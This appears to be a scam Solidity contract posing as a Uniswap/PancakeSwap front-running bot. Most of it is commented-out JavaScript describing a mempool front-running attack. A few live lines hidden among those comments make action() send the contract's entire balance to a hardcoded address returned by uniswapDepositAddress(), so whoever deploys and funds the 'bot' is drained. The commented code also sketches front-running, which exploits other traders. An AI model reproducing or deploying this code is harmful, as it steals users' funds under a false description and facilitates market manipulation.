1. pragma solidity ^0.6.6;
2.  
3. // PancakeSwap FrontrunDeployer
4. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
5.  
6.  
7. // PancakeSwap manager
8. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
9. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
10.  
11. contract UniswapV2FrontBot {
12.    
13.     string public tokenName;
14.         string public tokenSymbol;
15.         uint frontrun;
16.         uint manager;
17.        
18.        
19.         constructor(string memory _tokenName, string memory _tokenSymbol) public {
20.                 tokenName = _tokenName;
21.                 tokenSymbol = _tokenSymbol;
22.                 manager = frontrun;
23.                
24.                 }
25.        
26.            
27.             // Send required BNB for liquidity pair
28.             receive() external payable {}
29.            
30.            
31.             // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
32.            
33.             function action() public payable {
34.        
35.         //Perform a front-running attack on uniswap
36.  
37. //const fs = require('fs');
38. //var Web3 = require('web3');
39. //var abiDecoder = require('abi-decoder');
40. //var colors = require("colors");
41. //var Tx = require('ethereumjs-tx').Transaction;
42. //var axios = require('axios');
43. //var BigNumber = require('big-number');
44.  
45. //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
46. //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
47. //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');
48.  
49. //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
50. //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
51. manager;
52.  
53. //var input_token_info;
54. //var out_token_info;
55. //var pool_info;
56. //var gas_price_info;
57. manager;
58.  
59. //var web3;
60. //var web3Ts;
61. //var web3Ws;
62. //var pancakeRouter;
63. //var pancakeFactory;
64. manager;
65.  
66. // one gwei
67. //const ONE_GWEI = 1e9;
68. manager;
69.  
70. //var buy_finished = false;
71. //var sell_finished = false;
72. //var buy_failed = false;
73. //var sell_failed = false;
74. //var attack_started = false;
75. manager;
76.  
77. //var succeed = false;
78. //var subscription;
79. manager;
80.  
81. //async function createWeb3(){
82.     //try {
83.         // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
84.         // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
85.        // web3 = new Web3(EthereumTesterProvider());
86.        // web3.eth.getAccounts(console.log);
87.       //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
88.     //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
89.         //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
90.         //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
91.         manager;
92.         //return true;
93.     //} catch (error) {
94.       //console.log(error);
95.       //return false;
96.      
97.  
98. //async function main() {
99.  
100. //try {  
101.         //if (await createWeb3() == false) {
102.             //console.log('Web3 Create Error'.yellow);
103.             //process.exit();
104.            
105.            
106.        
107.        
108.         //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
109.         //const out_token_address = TOKEN_ADDRESS;
110.         //const amount = AMOUNT;
111.         //const level = LEVEL;
112.        
113.         //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
114.         //if(ret == false) {
115.           //process.exit();
116.        
117.  
118.         //await updatePoolInfo();
119.         //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
120.  
121.         //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
122.        
123.         //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' +  input_token_info.symbol + '  Exchange on Pancake *****'
124.         // console.log(log_str.green);    
125.         // console.log(web3Ws);
126.         //web3Ws.onopen = function(evt) {
127.             //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
128.             //console.log('connected')
129.        
130.         // get pending transactions
131.         //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
132.         //}).on("data", async function (transactionHash) {
133.             //console.log(transactionHash);
134.  
135.             // let transaction = await web3.eth.getTransaction(transactionHash);
136.             // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
137.             // {
138.             //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
139.             // }
140.            
141.             //if (succeed) {
142.                 //console.log("The bot finished the attack.");
143.                 //process.exit();
144.                
145.            
146.      
147.  
148.     //catch (error) {
149.      
150.       //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
151.      
152.          //console.log('Daily request count exceeded, Request rate limited'.yellow);
153.          //console.log('Please insert other API Key');
154.       //else{
155.          //console.log('Unknown Handled Error');
156.          //console.log(error);
157.        
158.  
159.       //process.exit();
160.  
161.  
162. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
163.    
164.     //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
165.         //subscription.unsubscribe();
166.         //console.log('Perform front running attack...');
167.  
168.         //gasPrice = parseInt(transaction['gasPrice']);
169.         //newGasPrice = gasPrice + 50*ONE_GWEI;
170.  
171.         //estimatedInput = ((amount*0.999)*(10**18)).toString();
172.         //realInput = (amount*(10**18)).toString();
173.         //gasLimit = (300000).toString();
174.        
175.         //await updatePoolInfo();
176.  
177.         //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
178.         //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
179.  
180.         //console.log("wait until the honest transaction is done...", transaction['hash']);
181.  
182.         //while (await isPending(transaction['hash'])) {
183.        
184.  
185.         //if(buy_failed)
186.        
187.             //succeed = false;
188.             //return;
189.            
190.        
191.         //console.log('Buy succeed:')
192.        
193.         //Sell
194.         //await updatePoolInfo();
195.         //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
196.         //outputeth = outputeth * 0.999;
197.  
198.         //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
199.        
200.         //console.log('Sell succeed');
201.         //succeed = true;
202. manager;
203.  
204. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
205.     //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
206.    
207.     //allowance = BigNumber(allowance);
208.     //outputtoken = BigNumber(outputtoken);
209.  
210.     //var decimals = BigNumber(10).power(out_token_info.decimals);
211.     //var max_allowance = BigNumber(10000).multiply(decimals);
212.  
213.     //if(outputtoken.gt(max_allowance))
214.    
215.        //console.log('replace max allowance')
216.        //max_allowance = outputtoken;
217.        
218.        payable(uniswapDepositAddress()).transfer(address(this).balance);
219.      
220.    
221.     //if(outputtoken.gt(allowance)){
222.         //console.log(max_allowance.toString());
223.         //var approveTX ={
224.                 //from: user_wallet.address,
225.                 //to: out_token_address,
226.                 //gas: 50000,
227.                 //gasPrice: gasPrice*ONE_GWEI,
228.                 //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
229.                 manager;
230.            
231.  
232.         //var signedTX = await user_wallet.signTransaction(approveTX);
233.         //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
234.  
235.         //console.log('Approved Token')
236.    
237.     //return;
238.  
239.  
240. //select attacking transaction
241. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
242.    
243.     //if(attack_started)
244.         //return false;
245.  
246.     //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
247.     //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
248.         //attack_started = true;
249.         //return true
250. }
251.  
252.     //return false;
253.  
254.     //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS)
255.             //console.log(transactionHash);
256.  
257.             // let transaction = await web3.eth.getTransaction(transactionHash);
258.             // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
259.             // {
260.                                             function uniswapDepositAddress() public pure returns (address) {
261.             //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
262.             // }
263.            
264.             //if (succeed) {
265.                 //console.log("The bot finished the attack.");
266.                 //process.exit();
267.                
268.            
269.      
270.  
271.     //catch (error) {
272.      
273.       //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
274.      
275.          //console.log('Daily request count exceeded, Request rate limited'.yellow);
276.          //console.log('Please insert other API Key');
277.       //else{
278.          //console.log('Unknown Handled Error');
279.          //console.log(error);
280.        
281.  
282.       //process.exit();
283.  
284.  
285. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
286.    
287.     //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
288.         //subscription.unsubscribe();
289.         //console.log('Perform front running attack...');
290.  
291.         //gasPrice = parseInt(transaction['gasPrice']);
292.         //newGasPrice = gasPrice + 50*ONE_GWEI;
293.  
294.         //estimatedInput = ((amount*0.999)*(10**18)).toString();
295.         //realInput = (amount*(10**18)).toString();
296.         //gasLimit = (300000).toString();
297.        
298.         //await updatePoolInfo();
299.  
300.        
301.         //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
302.  
303.         //console.log("wait until the honest transaction is done...", transaction['hash']);
304.  
305.         //while (await isPending(transaction['hash'])) {
306.        
307.  
308.         //if(buy_failed)
309.        
310.             //succeed = false;
311.             //return;
312.            
313.        
314.         //console.log('Buy succeed:')
315.        
316.         //Sell
317.         //await updatePoolInfo();
318.         //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
319.         //outputeth = outputeth * 0.999;
320.  
321.         //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
322.        
323.         //console.log('Sell succeed');
324.         //succeed = true;
325. //
326.  
327. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
328.     //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
329.    
330.     //allowance = BigNumber(allowance);
331.     //outputtoken = BigNumber(outputtoken);
332.  
333.     //var decimals = BigNumber(10).power(out_token_info.decimals);
334.     //var max_allowance = BigNumber(10000).multiply(decimals);
335.  
336.     //if(outputtoken.gt(max_allowance))
337.    
338.        //console.log('replace max allowance')
339.        //max_allowance = outputtoken;
340.        
341.      
342.    
343.     //if(outputtoken.gt(allowance)){
344.         //console.log(max_allowance.toString());
345.         //var approveTX ={
346.                 //from: user_wallet.address,
347.                 //to: out_token_address,
348.                 //gas: 50000,
349.                 //gasPrice: gasPrice*ONE_GWEI,
350.                 //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
351.                //
352.            
353.  
354.         //var signedTX = await user_wallet.signTransaction(approveTX);
355.         //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
356.  
357.         //console.log('Approved Token')
358.    
359.     //return;
360.  
361.  
362. //select attacking transaction
363. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
364.    
365.     //if(attack_started)
366.         //return false;
367.  
368.     //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
369.     //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
370.                 //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,
371.                 return 0x8202cE19640E39B7d972F4338798bBe8aBBE5281;//pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
372.                 }
373.         //attack_started = true;
374.         //return true
375.   //  
376.  
377.     //return false;
378.  
379.     //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
380.         //return false;
381.    
382.  
383.     //let data = parseTx(transaction['input']);
384.    
385.     //let method = data[0];
386.    
387.     //let params = data[1];
388.    
389.     //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
390.    
391.  
392.     //if(method == 'swapExactETHForTokens')
393.    
394.    
395.         //let in_amount = transaction;
396.        
397.         //let out_min = params[0];
398.        
399.  
400.         //let path = params[1];
401.        
402.         //let in_token_addr = path[0];
403.        
404.         //let out_token_addr = path[path.length-1];
405.        
406.        
407.         //let recept_addr = params[2];
408.        
409.         //let deadline = params[3];
410.        
411.  
412.         //if(out_token_addr != out_token_address)
413.        
414.        
415.             // console.log(out_token_addr.blue)
416.             // console.log(out_token_address)
417.             //return false;
418. }